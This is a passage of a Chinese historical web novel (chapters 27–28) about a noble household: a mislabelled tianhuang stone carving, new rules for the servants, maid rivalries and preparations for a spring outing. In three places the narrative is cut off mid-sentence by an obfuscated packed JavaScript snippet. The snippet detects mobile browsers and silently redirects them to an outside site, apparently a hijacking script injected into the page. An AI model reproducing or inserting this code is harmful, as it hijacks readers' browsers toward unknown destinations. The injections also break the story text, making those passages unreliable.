她的这些把戏，长公主上回就领教过，此时不过一笑：“既这么，你也来我跟前伺候着。” 薛盟与歆荣对视一眼，无可奈何。 闲话少时，众人移步到暖阁。长公主因评那最大的一盏喜鹊登梅玻璃灯：“如今这西洋玻璃真是人人追捧的罕物，连宫里赏赐，也须有头有脸的主儿才偶尔得着几样。” 薛盟道：“宫里的物件，样样皆是万中无一。我这一盏虽大，式样平常，自家胡乱摆着充数而已，贵人们看见了，倒是要笑话工艺蠢笨的。” 长公主轻哼一声：“你且留心吧。” 薛盟神色不变，唯语气里多了一分郑重：“儿子明白。” 及至开宴，薛盟、歆荣捧卮祝酒，梵烟布菜，纤纤劝盏。长公主不过每样沾了沾唇，不置臧否。又听了两出戏，身上略觉得乏了，便要摆驾回府。 众人一意挽留，长公主摆了摆手：“你们年轻，多玩乐一会儿无妨。况且我去了，只有更自在的。” 薛盟因说：“娘饮了酒，坐暖轿出去吧，别经了风。” 长公主允了，临行前又回头交代纤纤：“我那儿有个方子，过后连药一块儿给你包来。你吃上几回，再装得病歪歪的躲懒，看我不收拾你。” 再将歆荣、梵烟二人端详一番：“你们俩都是好孩子，不教我操心。改明儿有温补的东西，一道送过来，可不是我偏袒谁。”歆荣梵烟连说“不敢”。 送走长公主，大家返来，分了一回元宵，应了景儿，戏也就散了。 薛盟暗拉了下梵烟的手，梵烟假装不觉，转身对歆荣道：“有一张还礼的单子合不上，今晚把它理明白，省得人家不说咱们糊涂，只当咱们存心。” 歆荣忍笑答应了，二人向薛盟告辞，挽着手回正房去。 直到七巧、八红、九莺、十锦跟着回来，关好了房门，歆荣才撑不住笑出了声，一面嗟叹作势：“把灯拨亮些，书案收拾利落了，有一桩还情的要事，今日若理不清，连觉也不能睡。” 大伙儿都知她是打趣梵烟，七嘴八舌应着，并不照办。 梵烟自己翻出了礼单，摊在歆荣面前：“你瞧瞧，我是不是扯谎？” 歆荣忙道：“我并没说你扯谎呀。”拉梵烟坐在自己面前：“纵是扯谎，也定有你的道理。” 梵烟一笑：“何尝有什么道理？无非是不想做出头的椽子罢了。” 歆荣暗忖：恐怕长公主的机锋，薛盟听明白了，也分毫不会依她所愿——不是糊涂，只是存心。 二人对了一回账本，原来是别人送的一座田黄冻石山子入库后，被盘点的人混淆了，归进府里原有的一套蜜蜡摆件中。 歆荣道：“明儿说给澜序，叫他把两样东西都拿出来比对比对。无心之失就罢了，年里也不必较真重罚：若是有旁的心思，再细细追究。” 梵烟因问：“究竟这两者相不相似呢？” 歆荣笑：“田黄冻石难得，我也只在一位长辈那里见过一回，小小一方印章，印象不深了。” 梵烟想了一想：“哪一位长辈？我怎么没跟着开开眼？” “都说印象不深了，你还寻根究底。”歆荣说着，正好八红走过来：“家主回前院了。”就此岔开了。 梵烟揉了揉眼睛：“事儿了了，人也困了。咱们一道睡吧？” “我当然求之不得。”歆荣走到床前，做了个扫榻相迎的动作，“只是明早我赖定了床，你不许再催我。” 梵烟无有不应，二人洗漱过，散了发髻换了寝衣，拥被好眠。 次日初霁，细碎金芒遍洒人间，比落雪时却犹冷一些。梵烟醒来，一看歆荣仍睡得香甜，便蹑手蹑脚下了床去，梳洗打扮毕，到门外看小丫头们堆雪人。 “九莺和十锦跟了你去，这儿又提上来两个二等的。”八红泼了残茶，过来指给梵烟看，一面笑：“为着这两个空缺，背地里多少人下功夫呢。” 那两个小的见她二人立着，便过来问有什么吩咐。八红说：“倒没什么事。只是你们玩也小声些，夫人还没起呢。”她俩连忙应着，转头去管束其他人。 梵烟只是笑。片刻九莺十锦提了食盒来，说：“夫人这里的一道领了。”又说八红：“叫你捡着了。” 八红道：“我如今又不管这个。让她们都来给你磕头，你有没有东西赏？” 九莺冷笑一声：“照样沾夫人的光就是了。昨儿我跟七巧姐姐去厨房放赏钱，一个子儿没出，还不是得了她们几百声谢？” 梵烟见势不对，连忙拦住：“大清早的，你们就点起炮仗了？” 二人这才收声，一个扭过头，一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281899|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧开身，各自为政。 七巧恰从前头回来，走到梵烟跟前轻声说：“告诉澜序知道了，大约下半晌就能查个明白，到时候来回话。” 梵烟点头，趁机又谢她送的年画，二人说了一回颜色、线条的心得。 说话间歆荣也醒了，大伙儿进屋去张罗一通，复摆饭，仍旧围坐着一块儿吃。 饭毕撤了碗碟，八红让两个小丫头交还厨房。 梵烟又提了查管库楼诸人的事儿，歆荣听罢，没说什么，问：“之前外头吵吵什么呢？” 梵烟莞尔：“也没什么。''九夫子''爱说教，八红又历来不服管。吵醒你了？” 歆荣跟着亦笑：“你也把我想得太贪睡了。” 下半晌澜序果然查清楚了：原来是当日送年礼来的有好几家，负责造册的夏姑姑昏了头，竟漏登了这山子。后来盘库的时候就囫囵归到了府里本有的一套蜜蜡摆件里，横竖是多出来一件，又不是少了一件。 现下带了夏姑姑，并两个稳重小厮捧了东西来，请夫人定夺。 歆荣轻哂：“没少了东西固然不算十分的罪过，昏聩糊涂毕竟也有八分的不是。最不该的是起这种搪塞了事的念头——若没人发觉，岂不害我们莫名其妙得罪了亲友？” 夏姑姑闻言，顿时磕头讨饶不止，歆荣抬了抬手，叫她不必如此：“念你是初犯，暂且罚两个月银米，再有下回，便革了差事。我知道你们这些管事的姑姑，原比别人体面，又识文断字的，外头再寻不那么容易，可到底犯不着顾忌这个，就把不牢靠的人放在位置上。” 夏姑姑赶紧表了好一通忠心，指天誓日地打包票决计不会有下回。 梵烟觑了觑歆荣的神色，婉声道：“夫人小惩大诫，只是两个月的银米对她而言还是太重了。才过了年，一家子的嚼费都指望着呢，就只罚她一个月吧。” 歆荣乜她：“你既替人求情，我自不驳你的面子。只是将来她再犯，少不得拿你连坐。” 梵烟转向夏姑姑：“你老人家可听见了？千万替我留些脸面。” 夏姑姑又是一迭声地谢她，见这二位再无别话，方才臊眉耷眼地告退下去。 梵烟再细看那两只锦盒里面，一套是三件蜜蜡摆件：一只圆雕的瑞兽，一只福瓜，还有一件荷叶笔舔。蜜蜡色泽温润醇厚，呈鸡油黄色，在阳光下透着暖意，雕工也颇精细，平常摆在房中并不跌份。 另一个盒中，则是一座高三寸来许的田黄冻石山子。此物一出，顿时将旁边那套蜜蜡比了下去。 那田黄冻石色如蒸栗，通体明透，肌理间隐含萝卜丝纹，质感温润凝腻，仿佛凝结了天地精华。雕工更是依石形就势，寥寥数笔，琢出山峦叠嶂、古木虬枝、亭台小径，层次分明，意趣盎然，绝非寻常工匠手笔。 梵烟因叹：“这山子虽小巧，却是风华难掩。那管事姑姑怎的这样眼拙？竟随意搁置了。” 歆荣听了，便对澜序说：“这事儿还得回给家主知晓。东西你也一并带去，请他的示下。” 澜序应下，指挥着两个小厮盖好锦盒，仔细捧着退了出去。 薛盟这边才料理了几件积压的文书，见澜序一阵风似的回来，唤住他：“忙什么呢？一早上笔洗也不知道换。” 澜序赶紧捧了一盆新的来，将案头这个墨污了的撤下去，讪笑道：“才刚夫人召了我过去。有一桩小事，爷且评评好笑不好笑。” 便将其中原委细细道来。薛盟听了，当真唇角一扬：“倒是确有其事。” 澜序不解其意，但见他展颜，总归是好的：“贺姨娘都说，那山子世间罕有。纵替那姑姑说了情，到底不能说她不糊涂。” 薛盟回想一回：“那山子是谁送的来着？” “爷倒忘了他！”澜序说：“就是早年卖房子凑盘缠那个小官儿啊！如今在福州任上，那儿就出产这些田黄。今岁回京述职，顺道给咱们送来年礼。” 薛盟漫然点了点头：“原来如此。” 梵烟向晚回房，就见那冻石山子赫然摆在自己的书案上。 27. 二十七 梵烟怔在门口，心头倏然顿了一拍，旋即狂跳起来。飘飘然走到案前，指尖将将触及，忽又忍住了，弯下腰去，左右打量，暗暗欢喜不已。 九莺十锦跟着进屋，见此情形，不禁失笑。 十锦说：“姨娘何不把它拿起来观摩？当心累着脖颈。” “是呀。”九莺也说：“这些玉石雕件儿都是越盘越润泽的，又不怕一碰就坏了。” 梵烟抿着嘴儿，神游天外一阵，方回过来，自解了斗篷，暗想：这山子再珍贵，依旧是个摆件儿。若收起来不见天日，倒是辜负了他的一片心意；若是当真搁在外头装点屋子，少不得自己勤加爱惜保养，不假他人之手就是了。 于是行事照常。因白日里歆荣才与她商议，新年欲厘清府中人役，这便顺势坐在书案前，提了笔在纸上写写删删，堪堪有了几分眉目时，已觉昏头涨脑、眼眉饧涩。收了纸笔，再看一回山子，洗漱就寝。 且说这一处宅院，原是去岁为办喜事才置的。起初只薛盟的一干得用亲信，并宫中赐来镇宅的福嬷嬷、寿嬷嬷。后来陆陆续续添了许多听候的男女，既有活契，又有死契，有些沾着亲、有些带着旧，还有些添了丁口，盘根错节，不一而足。 正月里也没别的要紧事，梵烟与歆荣每日皆匀出一两个时辰来，斟酌细则。薛盟私下里不免向梵烟笑道：“倒衬得我无所事事了。” 梵烟新誊写好歆荣拟的人员评等条例，拿镇纸压在案上吹干，闻言因说：“家主一年忙到头，一家子上下穿衣吃饭都仰赖您。如今正该您歇一歇，且由我们分忧，料理些内宅的琐事，妥与不妥，终究还须依家主的意思。” 薛盟听罢，便来拉她：“今儿不去议事了吧？” “单一项重造花名总册、明职司、定规章，就费了这一旬还多。”梵烟手脚发软，被他揽在怀里，“少不得松快一日半日的，张弛有度，方是长久之功。” 明日再与歆荣推敲一番，即可抄录分发各处管事，预备施行起来。 薛盟瞟过两眼她那纸上章程，颇为可圈可点，较之朝廷官员考课也不逊色，稍显青涩之处，倒无伤大雅。盖因知晓梵烟正踌躇满志，要做出点儿事业来，自己不好强为人师，反而剥夺了她这份志趣。 便只管与她谈些风花雪月的闲话，消乏而已。 翌日来到正院，纤纤亦在。歆荣见了梵烟，笑道：“才想着你这些时日劳累了，今儿不必过来，好东西就偏了我们俩。” 梵烟福了福礼：“所以说素日勤谨些只有好的。什么东西少得了我一份？” 纤纤抿了嘴儿：“听闻妹妹近来忙于肃清内帏，着实费心。殿下赐来的这些药材，正该与妹妹进补一二。” “你也把她抬举得太高了！”歆荣不以为然：“咱们家拢共几口人？平常能有几件事？无非因为前头闹了个笑话，趁势大家理一理职责，哪里煞有介事就用上''肃清''二字？” 纤纤忙受教称是。歆荣又道：“殿下的慈心我明白。你自然有独一份的方子，咱们两个等过了二月二，也请位大夫来扶扶脉，依着各人的体质，再来调配补法儿。” 梵烟并纤纤一齐谢过主子们的体恤。三人又吃了一回茶，纤纤令如意、吉祥捧过自己那一份药，先行告退。 歆荣搁下茶盏，说：“这事儿只召几位大管事提过一嘴，她那里就得着风声了。” 梵烟一笑：“管采买的安姑姑是如意婶娘，咱们不是已经知道了？” 歆荣点了点头：纤纤是个有心人。房里近身伺候的几个，细究之下都有来历。 “依我想，条令推行开去，起初这一季且不急着丁是丁，卯是卯的，给大伙儿留些适应回圜的余地。那些资历老的、勤干讷言的、孑然孤身的，不好平白吃亏。” 歆荣却一口否了：“打头若不将规矩立好，越往后越乱来了。常言说，慈不掌兵，情不立事。一府上下这么些人口，可不是凡事讲情面就可兴起来的。” 她安抚地拍了拍梵烟的手：“你不必忧心。横竖先从我这正院起头，你我二人，一宽一严，再没有不能顾全的。” 梵烟想了一回，含笑答应下来。 二月伊始，新政的序幕便在正院悄然拉开。未曾有声势浩大的宣告，只几位管事并有头有脸的大丫鬟知晓，依着细则约束各自底下的人。 起初几日，风平浪静。各人都屏息敛气，比往日更打起十二分精神，谁也不想成为“杀鸡儆猴”里的“鸡”。 七巧八红两个奉命坐镇，凡器物领用、灯油炭火账簿，皆一样样核实，方允发出。 过了几日，揪出几件小事来—— 其一是小茶房的几罐外邦贡茶，因保存不当受了潮，管茶的茗香不认，说是送进来时便是如此，她只当番邦洋物原是不同，与库房里的叶姑姑互相推诿。 歆荣听了回禀，淡然道：“既然她二人都难胜任此事，就先调去厨房，学些色香味的门道吧。坏了的茶，念在她们伺候一场的份儿上，也就不必折钱补上了——茶房暂且由八红管。” 处罚不算重，却恰恰夺了二人捞油水的好机会。茗香、叶姑姑满心懊丧，奈何违逆不得，忍气磕了几个头，就出去了。 再有就是针线上的慧娘、巧娘。因歆荣的一应穿戴俱由几个大丫鬟包圆，她们不过做些杂使的桌围、靠枕等物，用料大，人力上其实颇为轻巧。姐妹俩的哥哥便起了意，时常派她们嫂子接二人回家去小聚，趁机落得许多零碎绸缎。 偏他家近日与邻居争地，生了口角，那邻居家男人也在前头当着喂马的差事，索性使自己女人带了赃物来求见夫人。 歆荣见着那一方比桌面还大些的弹墨碎绫，倒忍不住笑起来。 马倌女人暗觑着她的神情，赶忙又道：“夫人若不信，奴婢敢同那两位姑娘当面对质。” “说得有鼻子有眼的，我想你也不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梵烟这才转向她们：“浆洗房可不是好去处。终日与皂角碱水为伍，冬日里的凉水能冻裂手，夏日里的蒸汽能闷昏头——不然你们当为何这般缺人？” 慧娘巧娘素知她性情，兼以为她不知前因，故而笃信她所言不假。然则再苦再累，还能坏过胡乱配人吗？ 此刻犹胜溺水之人抓到唯一一根浮木，姊妹俩冲着歆荣磕头如捣蒜：“奴婢愿意！奴婢愿意！求夫人开恩，容我们将功折过！” “罢了。”歆荣一摆手，止住了她们泥首：“浆洗房却没有东西私相授受了。你们要去也使得，一应事务多向姑姑她们请教，再有偷奸耍滑的，叫人报给我知道，两罪并罚，绝不容情！” “是！是！奴婢再不敢了！”姐妹俩死里逃生，几乎是被人搀着出去的。 日头向晚，这会儿屋中只剩她二人了。歆荣揉了揉太阳穴，仰靠向椅背，略带疲乏地看了梵烟一眼，啼笑皆非。 28. 二十八 如此半月之后，正院的气象为之一新。仆役们行事皆有章法，再不见从前那种懒散含混、凭情面凭资历混日子的。众人虽警醒过分，但心下终归宾服。 梵烟这边自然见贤思齐。她院里的人比歆荣那儿少，来路却更杂。除九莺、十锦并顺嫂、岳五嫂两房人，其余小丫头常是与纤纤那边混着使唤的。 而今之计，当然是请歆荣的示下最佳。 歆荣道：“这有什么难的？平时的份例从哪边支，便归哪边。” 见梵烟默然微笑，哪有不明白的：理是这么个理，正经当件事儿说给纤纤听，反倒像争夺人手、扩张地盘似的。 缺德法子她这儿倒有两个，只是想也知道梵烟不肯——又要把事态闹大，又要把薛盟扯进来。 唯有口不对心道：“你要和和气气将事办成，就只能静待时机了。” 梵烟似懂非懂，乜了她一眼，暂且撇开不谈。 转而说起另一桩事：春闱在即，各地学子咸集帝京。薛盟早先答应过薛姑母，要替表妹汪媃相一位好夫婿：上上之选属东宫太子，保底则为进士出身。 梵烟一面说，一面自己也忍不住蹙眉：“前些时候不是听说定了辅国大将军家的千金做正妃？好巧不巧这范将军常年不住在京中，仓促在城东置办了一处宅院，便于宫里使者传旨册封，又派教引女官来授规矩——着实守卫森严，并没谁真看见，倒是传得绘声绘色，羡慕坏了这位姑太太。家主劝不动，先应承下来，再做他想。如今趁着三月三上巳节，大家效仿前人雅事，也来曲水流觞。” 歆荣一反常态，对薛盟的策略十分赞许：“是该先稳住她，免得在咱们这儿碰了壁，越发变着法儿找门路去，谁知要踩错哪块砖。” 思量一回，嘱咐梵烟：“你们商量好了，千万知会我一声。我也跟着风雅一遭。” 梵烟不知她的念头，却素知她的秉性：“夫人肯赏光，我们求之不得呢！” 歆荣听了，便盯着她笑。梵烟回过味来，起身道：“正事回完了，我走了。” 歆荣也不留她，示意七巧捧上新分发的衣料：“让七巧送送''你们''。” 梵烟简直站不住，连忙拉了九莺十锦，悄声催促：“快走！” 嬉笑着一路回到西跨院，九莺忽然对十锦使了个眼色。梵烟看见了，问：“这是何意？” 二人不答，及至进了屋，九莺方笑：“春季的份例衣裳已得了，这些却是夫人额外给的。我本想着，咱们不便张扬，可转念再想，又不是偷来的，怕什么呢！” 梵烟讶然：“九夫子如今也学会这些促狭话了。” 九莺道：“这都是她们乱喊的，你还跟着打趣我。我是听见说开春闱，想起一个典故来，说有才能的人活在世上，好比锥子放在口袋里，锥子尖儿很快就会露出来，做甚遮遮掩掩呢？” “这话极是。”梵烟张罗着斟茶：“来来来，我以茶代酒，敬夫子一杯。“ 话音刚落，薛盟隔着窗问：“谁在拜师呢？” 梵烟忙搁下杯子，起身迎出来：“家主今儿下值早。” 薛盟道：“不过是应个卯而已。太子婚事，由礼部总揽，内府、工部、鸿胪寺等襄协，连陛下都未必事事过问，何况咱们这些人？” 梵烟听了，暗中敁敠，手里且忙着替他更衣。而后又让九莺斟来沏好的玫瑰佛手饮子。 薛盟喝了一杯，顿觉解郁。信手翻了翻桌上的衣料，道：“你穿红的好。”说着抽出那匹石榴红的，目光旋即又落在梵烟脸上，带着一丝笑意和审视，仿佛已在想象她穿上这一身的模样：“春日配条白裙子合适，我那儿倒有几匹不俗气的料子，叫澜序给你搬来。” 梵烟被他看得面上微热，垂下眼笑道：“新做好的衣服还穿不完呢，又费这个人力干什么？” 薛盟不赞同：“上巳节你们出门踏青，如何不穿几件鲜亮衣衫？白放在柜子里落灰，才是真可惜呢。不如穿给我瞧瞧。” 梵烟听到这一节，心底那点顾虑方才消散，抿嘴一笑，轻声道：“家主既这么说，那我便…试试看？” 薛盟拊掌：“你只管试，必定好看。” 他的心情似乎因为这点小事而变得更佳，手指无意识在桌面上轻叩了两下，思绪却渐渐飘远了。 “说起来，从前姑妈还没有带表妹出门交际过。”薛盟道，“咱们家的人属你与她相熟，届时你多照应她些。” 梵烟说：“这个是应当的。家主只管放心与宾客们饮酒赋诗，等汇编成集了，也抄一份与我们传阅品鉴。” 薛盟应得痛快，暗里合计，当日少同那等俗人纠缠，势必要做出几首好的来。 二人在屋里说话，前头澜序亲捧了衣料过来，九莺收了，因对十锦笑：“这回可要赶工了。” 话虽如此，实则她俩皆是心神一振，有心要拿出看家本领，比平日更加倍地下工夫。 于是回到下处来，先支起窗棂，邀进满室日光，就着亮摊开料子，细堪了一遍。但见榴红缎面流光溢彩，玉兰飞蝶纹已然精妙无双，再增花样反是画蛇添足。只须在裁剪上多用心思，做出一件对襟长衫，底下白绫满底暗纹裙裾，走动间微微露痕，如行云流水才算风流韵致。 反复推敲许久，二人商议定了，九莺裁上衫，十锦做裙儿，各自开工，彼此帮衬。 因为工期有限，两人连当差亦是轮换着来，得空便闭门忙碌，入了神连一日三餐都顾不上，夜里灯油添了再添，着实辨不真颜色了，方才囫囵歇息。 梵烟特提了食盒来探望，不禁叹道：“这般呕心沥血，倒叫我过意不去。” 九莺一笑，腾不出空来多说，只有一句：“这就快好了。” 待十锦缝好最后一道裙门，一齐交给梵烟过目：“比一比，若合身，就可以拿熨斗来熨一熨，挂在桁架上熏香了。” 梵烟赶紧依言而行，口中连声道：“再合身不过了。你们且歇一会儿，吃些东西吧，明儿再熨都不晚。” 九莺看在眼里，心满意足，卸了力气，忍不住靠在引枕上缓神，一概水米都不想进，唯愿蒙头睡个天昏地暗。 见她这般，梵烟便放轻了动作，与十锦一道扶着她在榻上躺好，移来被衾替她盖上。随即只递眼神问十锦。 十锦倒不甚困倦，单是觉着饿了。从梵烟带来的食盒里取出一碟，余下的原样盖好，给九莺留着，自己走到外头来吃。 梵烟悄悄关上门，这才开口：“到我那边去坐吧，配着粥吃。” 十锦摇摇头：“新衣裳还没收拾起来呢，我且守一会儿。” “又不会自己长腿跑了。”梵烟劝不动她，只得拉了她到一边廊下坐去。 十锦吃了两块糕，抬头瞧见一个小丫头吃力地端着一只硕大的藤箧，正往这边走来：“春莺儿，你做什么呢？” 春莺儿见是这二人，忙深一脚浅一脚地上前来，向梵烟问好，说：“如意姐姐让我去库房领整套的茶碟。” 梵烟听她唤“姨娘”而非“贺姨娘”，心知她是自己这边的丫头，便笑说：“怎的让你一个人取，不小心跌了碎了，算在谁头上？” 春莺儿急红了脸：“姨娘放心，奴婢必定端稳了它。” 梵烟有所不知，十锦却清楚这丫头是个老实人，插嘴道：“必是库房欺她年纪小，这么沉的东西哄她一人搬回来。如今出游在即，不好闹开扫了夫人的兴，过后再禀上去——我且和你搭手，交到如意姐姐那儿作数。” 这一番话极合梵烟的考量，又忆起歆荣之言，她便向春莺儿叮嘱：“我知道，吕姨娘领了办围碟的差事，所以辛苦你这回，过后再来找我拿赏。” 复对十锦说：“见了如意，就说是我的意思。别忘了点验仔细些，倘或碟子有磕碰了的，趁早让库房替换，别临动身时才发慌。” 十锦心领神会：“姨娘放心，必定办得明白妥当。” 到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328789|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纤纤那边，偏生如意不在。吉祥仰着脸儿走过来，说：“不拘先搁在哪儿。” “搁在墙根下倒省事呢。”十锦噎了她一句，“姐姐这会儿既不得空打开，过后再说有什么不对，我们可不认了。” 吉祥不得不正眼看向她，一时似笑非笑：“原不是我的差事儿，多了少了的，我如何晓得？” 春莺儿左右为难，有心说句什么打圆场，实在又力不从心。两条胳膊也越发酸痛，几乎要抬不起藤箧了。 “吉祥，死在外头了？”纤纤的声音从里间传来，吉祥顿时敛了神色，撇下她二人进屋去了。 里间桌子上放着一碗尚冒热气的补药，吉祥一望即知，此时千万不要触着纤纤的霉头。见她坐在妆台前，髻鬟才梳好，忙垂首低眉上前去递首饰。 好在纤纤并没发作，只问：“外头谁说话呢？牙尖嘴利的。” “贺姨娘那边的十锦。”吉祥顿了顿，接着道：“不知如意又支使那边的小丫头做个什么，叫她看见了，活像是来打抱不平的。” 纤纤素知吉祥与如意有些面和心不和的，冷笑一声：“十锦是个什么阿物，你就任她在我们房前大呼小叫？” 吉祥腹诽：都是伺候姨娘的，我可拿什么比人家？面上不敢露出来，说：“我原说她了，叫她把东西放下，她却不依，定要和如意当面对清楚，没准儿回去还嫌我们把重活赖给她呢。” 纤纤好生窝火，直想把十锦拎进来狠狠罚一顿，但心下也明白，如此既失身份，更有违自己一贯的声名，不得不忍耐着，吩咐吉祥：“如意早前同我告了假，要去看她婶娘，这早晚也该回了。你去寻她来，同外头那两个讨债短命的交割明白，赶紧打发走。脏了我的地方！” 吉祥得了令儿，转头就去了，半道碰上如意，因见安姑姑并不在近旁，不觉带出几分得色：“你竟不知那边也效仿正院改起革来了，还打量春莺儿好使唤呢？眼下闹到跟前，姨娘可动了大怒，叫你趁早回去。” 如意倒没被她这套添油加醋的唬住：“革的什么？总有几项条令知会大伙儿，如今谁听见说了？再者杂使的小丫头子，原是众人都可派遣的，难不成还是何等了不得的大罪过？” 排揎归排揎，究竟没得与“那边”斗气。回到院中，看到十锦春莺儿还在阶矶下候着，如意换了一副和颜悦色，笑道：“劳两位妹妹久等了。实在是姨娘打发我去别处送一样东西，耽搁了好一阵。幸好姨娘特意派吉祥告诉我，来，咱们先喝茶歇歇脚吧！东西慢慢清点…” 十锦道：“多谢姐姐美意。不过我们姨娘才刚赏了点心，我正吃呢，就看见春莺儿了。姨娘见她一个人端着费劲巴力，所以叫我陪她一起来，许了过后赏我呢！” 吉祥笑了一声：“我说正经核对完碟子要紧吧，就别耽误人家的工夫了。” 如意也跟着略抽了抽嘴角，弯腰打开藤箧，点了数目是对的，再挨个看齐整、成色，果然挑不出瑕疵来，方才又对十锦二人道一回偏劳，伙着吉祥抬了茶碟去纤纤跟前复命。 下半晌无话。九莺睡到傍晚方醒，睁眼看见十锦坐在不远处叠帕子玩儿，哑声问：“几时了？你怎么不去姨娘屋里守着？” 十锦抬头：“家主来了。我看那边儿并没我什么事，就躲会儿懒嘛。”下地走过来，笑着一指桌上温碗：“你倒是好睡，多少年的觉都加倍补上了，可把姨娘心疼坏了。又送了燕窝粥来，又叮嘱我照看你些，你再不醒，还要禀夫人去请个大夫瞧呢！” 九莺撑起身来，穿衣趿鞋，一面说：“瞧把你酸的。姨娘知道你做裙儿也辛劳，只是不如我贪睡而已，难道这燕窝就没你的一份？” 十锦笑嘻嘻的：“就等你开口呢。”等九莺洗漱过，二人摆开碗匙，将灯也移到近前，对坐着吃饭。 “还有一桩可笑的你没看见。”十锦又把春莺儿的事说了，九莺听罢，继续舀粥吃完，擦了擦嘴，方道：“且瞧吧，这事儿没完呢。”